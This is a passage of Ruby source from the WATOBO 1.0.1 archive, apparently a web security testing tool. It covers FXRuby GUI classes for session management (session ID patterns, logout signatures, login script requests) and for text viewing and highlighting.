@seqTable.appendRows(1) # self.rowHeader.setItemJustify(lastRowIndex, FXHeaderItem::RIGHT) @seqTable.setRowText(index, index.to_s) @seqTable.setItemText(index, 0, @sequence.last.name) @seqTable.setItemText(index, 1, @sequence.last.description) @active_element = @sequence.last update_tabBook(@active_element) end def refresh_table initSeqTable @sequence.sort_by {|s| s.index}.each do |seq| index = @seqTable.getNumRows @seqTable.appendRows(1) @seqTable.setRowText(index, index.to_s) @seqTable.setItemText(index, 0, seq.name) @seqTable.setItemText(index, 1, seq.description) end end def update_tabBook(element) @request_editor.textbox.text = element.request @handler_editor.textbox.text = element.handler end # applies current tabBook settings to the given element def apply_tabBook(element) unless element.nil? element.request = @request_editor.textbox.text element.handler = @handler_editor.textbox.text end end # applies table text entries to sequence elements def apply_table @seqTable.numRows.times do |i| @sequence[i].name = @seqTable.getItemText(i, 0) @sequence[i].description = @seqTable.getItemText(i, 1) end end def create_handler(code) code_str = ['lambda{|response|'] code_str << code code_str << '}' eval code_str.join("\n") end end end endwatobo-1.0.1/lib/watobo/gui/session_management_dialog.rb000066400000000000000000000576741366346341400234110ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class SidTable < FXTable def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listener[event].clear end def updateSID_UNUSED(new_sids = {}) initTable() new_sids.each_key do |site| addSID(site, new_sids[site]) end end def initialize(owner, opts) super(owner, opts) @request = nil @event_dispatcher_listeners = Hash.new initTable() self.connect(SEL_COMMAND, method(:onTableClick)) self.columnHeader.connect(SEL_COMMAND) do |sender, sel, index| self.fitColumnsToContents(index) end Watobo::SIDCache.acquire(Thread.current.object_id).sids.each_key do |site| addSID(site, new_sids[site]) end end private def onTableClick(sender, sel, item) begin row = item.row self.selectRow(row, false) # self.startInput(row,2) rescue => bang puts bang end end =begin def addKeyHandler(item) item.connect(SEL_KEYPRESS) do |sender, sel, event| cr = self.currentRow @ctrl_pressed = true if event.code == KEY_Control_L or event.code == KEY_Control_R # @shift_pressed = true if @ctrl_pressed and ( event.code == KEY_Shift_L or event.code == KEY_Shift_R ) if @ctrl_pressed # special handling of KEY_Return, because we don't want a linebreak in textbox. if event.code == KEY_Return self.acceptInput(true) notify(:hotkey_ctrl_enter) true else notify(:hotkey_ctrl_f) if event.code == KEY_f notify(:hotkey_ctrl_s) if event.code == KEY_s if event.code == KEY_u text = self.getItemText(cr, 2) #puts "* Encode URL: #{text}" cgi = CGI::escape(text) self.acceptInput(true) self.setItemText(cr, 2, cgi.strip, true) end if event.code == KEY_b text = self.getItemText(cr, 2) puts "* Encode B64: #{text}" b64 = Base64.encode64(text) self.acceptInput(true) self.setItemText(cr, 2, b64.strip, true) puts b64.class end puts "CTRL-SHIFT-U" if event.code == KEY_U if event.code == KEY_U text = self.getItemText(cr, 2) puts "* Encode URL: #{text}" uncgi = CGI::unescape(text) self.acceptInput(true) self.setItemText(cr, 2, uncgi.strip, true) end if event.code == KEY_B text = self.getItemText(cr, 2) puts "* Encode B64: #{text}" b64 = Base64.decode64(text) self.acceptInput(true) self.setItemText(cr, 2, b64.strip, true) puts b64.class end false end elsif event.code == KEY_Return self.selectRow(cr) startInput(cr,2) true else #puts "%04x" % event.code false end end item.connect(SEL_KEYRELEASE) do |sender, sel, event| @ctrl_pressed = false if event.code == KEY_Control_L or event.code == KEY_Control_R false end end =end def addSID(host, sids) sids.each_key do |sid_name| lastRowIndex = self.getNumRows self.appendRows(1) self.setItemText(lastRowIndex, 0, host) self.getItem(lastRowIndex, 0).justify = FXTableItem::LEFT self.setItemText(lastRowIndex, 1, sid_name) self.getItem(lastRowIndex, 1).justify = FXTableItem::LEFT self.setItemText(lastRowIndex, 2, sids[sid_name]) self.getItem(lastRowIndex, 2).justify = FXTableItem::LEFT end end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def initTable self.clearItems() self.setTableSize(0, 3) self.setColumnText( 0, "Host" ) self.setColumnText( 1, "Name" ) self.setColumnText( 2, "Value" ) self.rowHeader.width = 0 self.setColumnWidth(0, 60) self.setColumnWidth(1, 80) self.setColumnWidth(2, 120) end end class LogoutSettings < FXHorizontalFrame def showBadSignatureMessage() FXMessageBox.information(self, MBOX_OK, "Wrong Signature Format", "Signature Format is wrong. Must be a valid regular expression, e.g.() <^Location.*action=logout>") end def getLogoutSignatures() signatures = [] @signature_list.numItems.times do |index| signatures.push @signature_list.getItemData(index) end return signatures end def addSignature(sender,sel,id) pattern = @signature.value if pattern != "" then begin # test if pattern looks like a valid regex if "test" =~ /#{pattern}/i then #looks good end rescue => bang puts "!!!ERROR: Bad pattern" showBadSignatureMessage() return -1 end item = @signature_list.appendItem("#{@signature.value}") @signature_list.setItemData(item, @signature.value) return 0 # item. end end def remSignature(sender,sel,id) index = @signature_list.currentItem if index >= 0 @signature_list.removeItem(index) end end def onSignatureClick(sender,sel,item) #@request_viewer.highlight(@pattern_list.getItemText(item)) #@response_viewer.highlight(@pattern_list.getItemText(item)) @signature.value = @signature_list.getItemText(item) @signature_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def initialize(parent) @project = Watobo.project @signature = FXDataTarget.new('') super(parent, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) main_frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_Y|LAYOUT_FILL_X|FRAME_GROOVE) frame = FXVerticalFrame.new(main_frame, :opts => LAYOUT_FILL_Y) label = FXLabel.new(frame, "Logout Signatures:") @signature_field = FXTextField.new(frame, 40, :target => @signature, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT) b_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X) @addSigButton = FXButton.new(b_frame, "Add" , :opts => BUTTON_NORMAL|LAYOUT_LEFT) @addSigButton.connect(SEL_COMMAND, method(:addSignature)) @remSigButton=FXButton.new(b_frame, "Remove" , :opts => BUTTON_NORMAL|LAYOUT_LEFT) @remSigButton.connect(SEL_COMMAND, method(:remSignature)) list_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|FRAME_SUNKEN, :padding => 0) @signature_list = FXList.new(list_frame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @signature_list.numVisible = 25 @signature_list.connect(SEL_COMMAND,method(:onSignatureClick)) Watobo::Conf::Scanner.logout_signatures.each do |p| item = @signature_list.appendItem("#{p}") @signature_list.setItemData(item, p) end end end class SessionIdSettings < FXHorizontalFrame include Watobo::Gui::Utils class SidPreview_UNUSED < FXText def highlight(pattern) # text_encoded = self.to_s.force_encoding('iso-8859-1').encode('utf-8', :invalid=>:replace) text_encoded = self.to_s.force_encoding('ASCII-8BIT').scrub text_encoded = self.to_s.encode('UTF-8', :invalid=>:replace, :replace => '') self.setText(text_encoded) text_encoded = self.to_s begin # puts pattern # if self.to_s =~ /#{pattern}/ then if text_encoded =~ /#{pattern}/ then # binding.pry match = $& if $1 and $2 then puts "MATCH: #{match}" puts "#1: #{$1}" puts "#2: #{$2}" puts string1 = $1 string2 = $2 index1 = nil #index1 = self.to_s.index(string1) index1 = text_encoded.index(match) if index1 then self.changeStyle(index1,string1.length,1) puts text_encoded[index1..index1+20] end index2 = text_encoded.index(string2, index1) if index2 then self.changeStyle(index2,string2.length,1) puts text_encoded[index2..index2+20] end self.makePositionVisible(index2) else # string1 = pattern # string2 = pattern end end rescue => bang puts "!!!ERROR: could not highlight pattern" puts bang end end def initialize(parent, opts) super(parent, opts) @style = 1 # default style # Construct some hilite styles hs_green = FXHiliteStyle.new hs_green.normalForeColor = FXRGBA(255,255,255,255) #FXColor::Red hs_green.normalBackColor = FXRGBA(0,255,0,1) # FXColor::White hs_green.style = FXText::STYLE_BOLD hs_red = FXHiliteStyle.new hs_red.normalForeColor = FXRGBA(255,255,255,255) #FXColor::Red hs_red.normalBackColor = FXRGBA(255,0,0,1) # FXColor::White hs_red.style = FXText::STYLE_BOLD self.styled = true # Set the styles self.hiliteStyles = [ hs_green, hs_red] self.editable = false end end def onPatternClick(sender,sel,item) @request_viewer.highlight(@pattern_list.getItemText(item)) @response_viewer.highlight(@pattern_list.getItemText(item)) @pattern.value = @pattern_list.getItemText(item) @pattern_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def onRequestChanged(sender, sel, item) begin chat = @requestCombo.getItemData(@requestCombo.currentItem) @request_viewer.setText(cleanupHTTP(chat.request)) @response_viewer.setText(cleanupHTTP(chat.response)) rescue => bang puts "could not update request" puts bang end end def showBadPatternMessage() FXMessageBox.information(self, MBOX_OK, "Wrong Pattern Format", "SID Pattern Format is wrong, e.g.() <(session)=([a-z]*)>\nRegex must contain two selectors \"()\" to satisfy $1 and $2.") end def getSidPatternList() sids = [] @pattern_list.numItems.times do |index| sids.push @pattern_list.getItemData(index) end return sids end def addPattern(sender,sel,id) pattern = @pattern.value if pattern != "" then begin dummy = pattern.split('(') if dummy.length < 2 then # no good pattern puts "!!!ERROR: Bad pattern" showBadPatternMessage() return -1 end dummy = pattern.split(')') if dummy.length < 2 then # no good pattern puts "!!!ERROR: Bad pattern" showBadPatternMessage() return -1 end # test if pattern looks like a valid regex if "test" =~ /#{pattern}/i then #looks good end rescue => bang puts "!!!ERROR: Bad pattern" showBadPatternMessage() return -1 end item = @pattern_list.appendItem("#{@pattern.value}") @pattern_list.setItemData(item, @pattern.value) return 0 # item. end end def remPattern(sender,sel,id) index = @pattern_list.currentItem if index >= 0 @pattern_list.removeItem(index) end end def updateRequests(req_id_list) if @project then @requestCombo.clearItems() req_id_list.each do |id| chat = Watobo::Chats.get_by_id(id) text = "[#{id}] #{chat.request.first}" @requestCombo.appendItem(text.slice(0..60), chat) end if @requestCombo.numItems > 0 then if @requestCombo.numItems < 10 then @requestCombo.numVisible = @requestCombo.numItems else @requestCombo.numVisible = 10 end @requestCombo.setCurrentItem(0, true) chat = @requestCombo.getItemData(0) @request_viewer.setText(cleanupHTTP(chat.request)) @response_viewer.setText(cleanupHTTP(chat.response)) end end end def initialize(parent) @project = Watobo.project @pattern = FXDataTarget.new('') super(parent, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) main_frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_Y|LAYOUT_FILL_X|FRAME_GROOVE) frame = FXVerticalFrame.new(main_frame, :opts => LAYOUT_FILL_Y) label = FXLabel.new(frame, "Session ID Patterns:") @pattern_field = FXTextField.new(frame, 40, :target => @pattern, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT) b_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X) @addSidButton = FXButton.new(b_frame, "Add" , :opts => BUTTON_NORMAL|LAYOUT_LEFT) @addSidButton.connect(SEL_COMMAND, method(:addPattern)) @remSidButton=FXButton.new(b_frame, "Remove" , :opts => BUTTON_NORMAL|LAYOUT_LEFT) @remSidButton.connect(SEL_COMMAND, method(:remPattern)) list_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|FRAME_SUNKEN, :padding => 0) @pattern_list = FXList.new(list_frame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @pattern_list.numVisible = 25 @pattern_list.connect(SEL_COMMAND,method(:onPatternClick)) frame = FXVerticalFrame.new(main_frame, :opts => LAYOUT_FILL_Y|LAYOUT_FILL_X) label = FXLabel.new(frame, "Login Requests:") @requestCombo = FXComboBox.new(frame, 5, nil, 0, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) #@filterCombo.width =200 @requestCombo.numVisible = 0 @requestCombo.numColumns = 50 @requestCombo.editable = false @requestCombo.connect(SEL_COMMAND, method(:onRequestChanged)) chat_viewer_frame = FXVerticalFrame.new(frame, LAYOUT_FILL_X|LAYOUT_FILL_Y, :height => 300, :padding => 0) tabBook = FXTabBook.new(chat_viewer_frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT, :padding => 0) req_tab = FXTabItem.new(tabBook, "Request", nil) frame = FXVerticalFrame.new(tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) sunken = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN, :padding => 0) @request_viewer = SidPreview.new(sunken, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN) resp_tab = FXTabItem.new(tabBook, "Response", nil) frame = FXVerticalFrame.new(tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) sunken = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN, :padding => 0) @response_viewer = SidPreview.new(sunken, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) Watobo::Conf::SidCache.patterns.each do |p| item = @pattern_list.appendItem("#{p}") @pattern_list.setItemData(item, p) end end end class SIDCacheFrame < FXVerticalFrame def initialize(parent) @project = Watobo.project super(parent, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # button_frame = FXHorizontalFrame.new(self, :opts=> LAYOUT_FILL_X) # refresh_btn = FXButton.new(button_frame, "Refresh") @sidTable = SidTable.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # sid_cache = Watobo::SIDCache.acquire(Thread.current.object_id) #@sidTable.updateSID @session.sidCache() end end class LoginScriptSettings < FXVerticalFrame def showChat(chat) @request_viewer.setText(chat.request) @response_viewer.setText(chat.response) end def getLoginScriptIds() ids = [] @scriptTable.numRows.times do |row| # puts row ids.push @scriptTable.getRowText(row) end return ids end def onTableClick(sender, sel, item) begin # purge viewers @request_viewer.setText('') @response_viewer.setText('') row = item.row if row >= 0 then @scriptTable.selectRow(row, false) chatid = @scriptTable.getRowText(item.row).to_i # @logText.appendText("selected ID: (#{chatid})\n") if chatid >= 0 chat = Watobo::Chats.get_by_id(chatid) showChat(chat) if chat @sel_row = row @rem_button.enable end end rescue => bang puts "!!!ERROR: onTableClick" puts bang puts "!!!" end end def removeRequest(sender, sel, item) if @sel_row >= 0 then @scriptTable.removeRows(@sel_row) @scriptTable.killSelection(false) @rem_button.disable @sel_row = -1 end end def startSelectChatDialog(sender, sel, item) begin dlg = Watobo::Gui::SelectChatDialog.new(self, "Select Login Chat") if dlg.execute != 0 then chats_selected = dlg.selection.value.split(",") chats_selected.each do |chatid| chat = Watobo::Chats.get_by_id(chatid.strip) addRequest(chat) if chat end end rescue => bang puts "!!!ERROR: could not open SelectChatDialog." puts bang end end def addRequest(chat) @scriptTable.addChat(chat) end def initialize(parent) @project = Watobo.project @table_filter = FXDataTarget.new('') @sel_row = -1 super(parent, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # main_splitter = FXSplitter.new(self, LAYOUT_SIDE_TOP|LAYOUT_FILL_X|SPLITTER_HORIZONTAL|LAYOUT_FILL_Y|SPLITTER_TRACKING) # left_frame = FXVerticalFrame.new(main_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE, :width => 400, :padding => 0) # right_frame = FXVerticalFrame.new(main_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :width => 200, :padding => 0) #chat_filter_frame = FXHorizontalFrame.new(left_frame, :opts => LAYOUT_FILL_X) #FXLabel.new(chat_filter_frame, "Filter") #@filter_text_field = FXTextField.new(chat_filter_frame, 20, @table_filter, FXDataTarget::ID_VALUE, FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_X) #chat_table_frame = FXVerticalFrame.new(left_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) splitter = FXSplitter.new(self, LAYOUT_SIDE_TOP|LAYOUT_FILL_X|SPLITTER_VERTICAL|LAYOUT_FILL_Y|SPLITTER_TRACKING) script_frame = FXVerticalFrame.new(splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE, :height => 300,:padding => 0) frame = FXHorizontalFrame.new(script_frame, :opts => LAYOUT_FILL_X) label = FXLabel.new(frame, "Login Script Requests:") @add_button = FXButton.new(frame, "Add Request...", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT) @add_button.connect(SEL_COMMAND, method(:startSelectChatDialog)) @rem_button = FXButton.new(frame, "Remove Request", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT) @rem_button.connect(SEL_COMMAND, method(:removeRequest)) @rem_button.disable label.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTSLANT_ITALIC, FONTENCODING_DEFAULT)) script_table_frame = FXVerticalFrame.new(script_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @scriptTable = ConversationTable.new(script_table_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @scriptTable.connect(SEL_CLICKED, method(:onTableClick)) chat_viewer_frame = FXVerticalFrame.new(splitter, LAYOUT_FILL_X|LAYOUT_FILL_Y, :height => 300, :padding => 0) tabBook = FXTabBook.new(chat_viewer_frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT, :padding => 0) req_tab = FXTabItem.new(tabBook, "Request", nil) frame = FXVerticalFrame.new(tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @request_viewer = Watobo::Gui::SimpleTextView.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN, :padding => 0) resp_tab = FXTabItem.new(tabBook, "Response", nil) frame = FXVerticalFrame.new(tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @response_viewer = Watobo::Gui::SimpleTextView.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN, :padding => 0) if @project.respond_to? :getLoginChatIds then @project.getLoginChatIds.each do |id| chat = Watobo::Chats.get_by_id(id) addRequest(chat) end end end end # # S E S S I O N M A N A G E M E N T D I A L O G # class SessionManagementDialog < FXDialogBox include Watobo::Gui::Icons def getSidPatterns() sidpats = @sidSettings.getSidPatternList end def getLoginScriptIds() login_chat_ids = @loginSettings.getLoginScriptIds() end def getLogoutSignatures() signatures = @logoutSettings.getLogoutSignatures() end def initialize(owner) #@project = project # Invoke base class initialize function first # super(owner, "LoginScript Wizzard", DECOR_TITLE|DECOR_BORDER,:width=>800, :height=>600) super(owner, "Session Management", DECOR_ALL, :width=>800, :height=>600) self.icon = ICON_LOGIN_WIZZARD main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) tabBook = FXTabBook.new(main_frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) @loginSettings = nil @sidSettings = nil unless Watobo.project.nil? login_tab = FXTabItem.new(tabBook, "Login Script", nil) @loginSettings = LoginScriptSettings.new(tabBook) end sid_tab = FXTabItem.new(tabBook, "Sesssion IDs", nil) # @sidFrame = FXVerticalFrame.new(tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @sidSettings = SessionIdSettings.new(tabBook) logout_tab = FXTabItem.new(tabBook, "Logout Signatures", nil) @logoutSettings = LogoutSettings.new(tabBook) # unless Watobo.project.nil? # sidcache_tab = FXTabItem.new(tabBook, "SID-Cache", nil) # SIDCacheFrame.new(tabBook) # end tabBook.connect(SEL_COMMAND) do |sender, sel, tabItem| case tabItem.to_i when 0 # puts "Login Script Selected" when 1 # puts "Session IDs Selected" unless Watobo.project.nil? ids = getLoginScriptIds() @sidSettings.updateRequests(ids) end when 2 # puts "Logout Selected" end end button_frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X) FXButton.new(button_frame, "OK" , :target => self, :selector => FXDialogBox::ID_ACCEPT, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) FXButton.new(button_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end end #-- end end watobo-1.0.1/lib/watobo/gui/sid_preview.rb000066400000000000000000000104061366346341400205110ustar00rootroot00000000000000module Watobo module Gui class SidPreview < FXText def highlight(pattern) # text_encoded = self.to_s.force_encoding('iso-8859-1').encode('utf-8', :invalid=>:replace) text_encoded = self.to_s.force_encoding('ASCII-8BIT').scrub text_encoded = self.to_s.encode('UTF-8', :invalid=>:replace, :replace => '') self.setText(text_encoded) text_encoded = self.to_s begin # puts pattern # if self.to_s =~ /#{pattern}/ then if text_encoded =~ /#{pattern}/ then # binding.pry match = $& if $1 and $2 then puts "MATCH: #{match}" puts "#1: #{$1}" puts "#2: #{$2}" puts string1 = $1 string2 = $2 index1 = nil #index1 = self.to_s.index(string1) index1 = text_encoded.index(match) if index1 then self.changeStyle(index1,string1.length,1) puts text_encoded[index1..index1+20] end index2 = text_encoded.index(string2, index1) if index2 then self.changeStyle(index2,string2.length,1) puts text_encoded[index2..index2+20] end self.makePositionVisible(index2) else # string1 = pattern # string2 = pattern end end rescue => bang puts "!!!ERROR: could not highlight pattern" puts bang end end def initialize(parent, opts) super(parent, opts) @style = 1 # default style # Construct some hilite styles hs_green = FXHiliteStyle.new hs_green.normalForeColor = FXRGBA(255,255,255,255) #FXColor::Red hs_green.normalBackColor = FXRGBA(0,255,0,1) # FXColor::White hs_green.style = FXText::STYLE_BOLD hs_red = FXHiliteStyle.new hs_red.normalForeColor = FXRGBA(255,255,255,255) #FXColor::Red hs_red.normalBackColor = FXRGBA(255,0,0,1) # FXColor::White hs_red.style = FXText::STYLE_BOLD self.styled = true # Set the styles self.hiliteStyles = [ hs_green, hs_red] self.editable = false end end def onPatternClick(sender,sel,item) @request_viewer.highlight(@pattern_list.getItemText(item)) @response_viewer.highlight(@pattern_list.getItemText(item)) @pattern.value = @pattern_list.getItemText(item) @pattern_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def onRequestChanged(sender, sel, item) begin chat = @requestCombo.getItemData(@requestCombo.currentItem) @request_viewer.setText(cleanupHTTP(chat.request)) @response_viewer.setText(cleanupHTTP(chat.response)) rescue => bang puts "could not update request" puts bang end end def showBadPatternMessage() FXMessageBox.information(self, MBOX_OK, "Wrong Pattern Format", "SID Pattern Format is wrong, e.g.() <(session)=([a-z]*)>\nRegex must contain two selectors \"()\" to satisfy $1 and $2.") end def getSidPatternList() sids = [] @pattern_list.numItems.times do |index| sids.push @pattern_list.getItemData(index) end return sids end def addPattern(sender,sel,id) pattern = @pattern.value if pattern != "" then begin dummy = pattern.split('(') if dummy.length < 2 then # no good pattern puts "!!!ERROR: Bad pattern" showBadPatternMessage() return -1 end dummy = pattern.split(')') if dummy.length < 2 then # no good pattern puts "!!!ERROR: Bad pattern" showBadPatternMessage() return -1 end # test if pattern looks like a valid regex if "test" =~ /#{pattern}/i then #looks good end rescue => bang puts "!!!ERROR: Bad pattern" showBadPatternMessage() return -1 end item = @pattern_list.appendItem("#{@pattern.value}") @pattern_list.setItemData(item, @pattern.value) return 0 # item. end end end endwatobo-1.0.1/lib/watobo/gui/simple_text_view.rb000066400000000000000000000243221366346341400215620ustar00rootroot00000000000000module Watobo module Gui class SimpleTextView < FXVerticalFrame attr_accessor :textbox attr_accessor :style attr_accessor :max_len include Watobo::Constants include Watobo::Gui::Utils public def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listener[event].clear end def resetMatches() @pattern_matches.clear end def rawRequest() @textbox.text end def numMatches() @pattern_matches.length end def textStyle=(style) @textbox.textStyle = style end def textStyle() @textbox.textStyle end def clear @textbox.setText('') end def setFont(font_type=nil, size=nil) new_size = size.nil? ? GUI_REGULAR_FONT_SIZE : size new_font_type = font_type.nil? ? "helvetica" : font_type new_font = FXFont.new(getApp(), new_font_type, new_size) new_font.create @textbox.font = new_font end def initialize(owner, opts) @logger = (defined? owner.logger) ? owner.logger : nil @pattern_matches = [] @text = "" @@save_dir = nil @event_dispatcher_listeners = Hash.new super(owner, opts) # Construct some hilite styles @style = 1 # default style @max_len = 0 @small_font = FXFont.new(getApp(), "helvetica", GUI_SMALL_FONT_SIZE) @small_font.create @big_font = FXFont.new(getApp(), "helvetica", GUI_REGULAR_FONT_SIZE) @big_font.create @last_button_pressed = SEL_TYPE_HIGHLIGHT # Construct some hilite styles hs_green = FXHiliteStyle.new hs_green.normalForeColor = FXRGBA(255, 255, 255, 255) #FXColor::Red hs_green.normalBackColor = FXRGBA(0x8b, 0, 0, 1) # FXColor::White hs_green.style = FXText::STYLE_BOLD hs_red = FXHiliteStyle.new hs_red.normalForeColor = FXRGBA(255, 255, 255, 255) #FXColor::Red hs_red.normalBackColor = FXRGBA(255, 0, 0, 1) # FXColor::White hs_red.style = FXText::STYLE_BOLD # @req_builder = FXText.new(req_editor, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @textbox = FXText.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @textbox.extend Watobo::Mixins::RequestParser # Enable the style buffer for this text widget @textbox.styled = true # Set the styles @textbox.hiliteStyles = [hs_green, hs_red] @textbox.editable = false @textbox.textStyle |= TEXT_WORDWRAP @textbox.connect(SEL_REPLACED, method(:onTextChanged)) @textbox.connect(SEL_DELETED, method(:onTextChanged)) @textbox.connect(SEL_RIGHTBUTTONRELEASE) do |sender, sel, event| unless event.moved? FXMenuPane.new(self) do |menu_pane| pos = @textbox.selStartPos len = @textbox.selEndPos - pos selection = @textbox.extractText(pos, len) addStringInfo(menu_pane, sender) addDecoder(menu_pane, sender) addEncoder(menu_pane, sender) if @textbox.editable? FXMenuSeparator.new(menu_pane) FXMenuCaption.new(menu_pane, "- Copy -") FXMenuSeparator.new(menu_pane) copyText = FXMenuCommand.new(menu_pane, "copy text: #{selection}", nil, @textbox, FXText::ID_COPY_SEL) FXMenuSeparator.new(menu_pane) saveText = FXMenuCommand.new(menu_pane, "save ...") saveText.connect(SEL_COMMAND){ begin # puts @project.settings[:session_path] # path = @project.settings[:session_path]+"/" filename = FXFileDialog.getSaveFilename(self, "Save file", @@save_dir, "All Files (*)") unless filename.empty? File.open(filename, "w"){|fh| fh.puts @textbox.text } @@save_dir = File.dirname(filename + '/*') end rescue => bang puts bang puts bang.backtrace if $DEBUG end } FXMenuSeparator.new(menu_pane) FXMenuCaption.new(menu_pane, "- Transcoder -") FXMenuSeparator.new(menu_pane) send2transcoder = FXMenuCommand.new(menu_pane, "send to transcoder") send2transcoder.connect(SEL_COMMAND) { t = TranscoderWindow.new(FXApp.instance, selection) t.create t.show(Fox::PLACEMENT_SCREEN) } FXMenuSeparator.new(menu_pane) target = FXMenuCheck.new(menu_pane, "word wrap") target.check = (@textbox.textStyle & TEXT_WORDWRAP > 0) ? true : false target.connect(SEL_COMMAND) {@textbox.textStyle ^= TEXT_WORDWRAP} target = FXMenuCheck.new(menu_pane, "big font") target.check = (@textbox.font == @small_font) ? false : true target.connect(SEL_COMMAND) {|ts, tsel, titem| if ts.checked? @textbox.font = @big_font else @textbox.font = @small_font end } menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end end def editable=(e) @textbox.editable = e end def editable?() @textbox.editable? end def setText(text, prefs={}) @text = normalizeText(text) showText(@text) true end def filter(pattern) #dummy = @textbox.to_s.split(/\n/) dummy = @text.split(/\n/) @textbox.setText('') filtered = [] dummy.each do |line| begin if line =~ /#{pattern}/i then filtered.push line end rescue => bang puts puts bang pattern = Regexp.quote(pattern) retry end end showText(filtered.join("\n")) end # TODO: highlight_ext - change/switch color, update/clear def highlight_ext(pattern, prefs) end def highlight(pattern) sindex = nil eindex = nil dummy = @textbox.to_s #remove previous highlighting @textbox.setText(dummy) matchPattern(pattern) # puts "* found pattern #{pattern} #{@pattern_matches.length} times" @pattern_matches.each do |start, len| begin @textbox.changeStyle(start, len, @style) rescue => bang puts "outch" puts bang end end return @pattern_matches.length end def makeMatchVisible(match_index=0) return true if @pattern_matches.empty? return false if match_index > (@pattern_matches.length - 1) if @pattern_matches[match_index] then pos = @pattern_matches[match_index][0] len =@pattern_matches[match_index][1] @textbox.setCenterLine(pos) # @textbox.makePositionVisible(pos + len) @textbox.makePositionVisible(@textbox.lineEnd(pos)) @textbox.makePositionVisible(pos) @textbox.setCursorPos(pos) end return true end # returns an array of matches. each match consists of two values [start, len] def matchPattern(pattern) sindex = nil eindex = nil pos = 0 @pattern_matches.clear loop do sindex, eindex = @textbox.findText(pattern, pos, SEARCH_EXACT|SEARCH_IGNORECASE|SEARCH_FORWARD) sindex, eindex = @textbox.findText(pattern, pos, :flags => SEARCH_REGEX|SEARCH_IGNORECASE|SEARCH_FORWARD) if not sindex sindex, eindex = @textbox.findText(Regexp.quote(pattern), pos, :flags => SEARCH_REGEX|SEARCH_IGNORECASE|SEARCH_FORWARD) if not sindex break if not sindex or sindex.length == 0 pos = eindex.last+1 sindex.length.times do |i| start = sindex[i] len = eindex[i] - sindex[i] @pattern_matches.push [start, len] if start >= 0 end break if sindex.last < 0 end return @pattern_matches end def showText(text) begin # if @max_len > 0 and @max_len < text.length # text = text[0..@max_len] + "\n---8<--- WATOBO ---8<---\n* PRESS RESET TO SEE FULL RESPONSE *" # end # text.encode('iso_8859_1') # UTF-8 CleanUp text = text.unpack("C*").pack("C*") text.gsub!(/\x0d/u, '') r = Regexp.new '[\x00-\x09\x0b-\x1f\x7f-\xff]+', nil, 'n' text.gsub!(r, 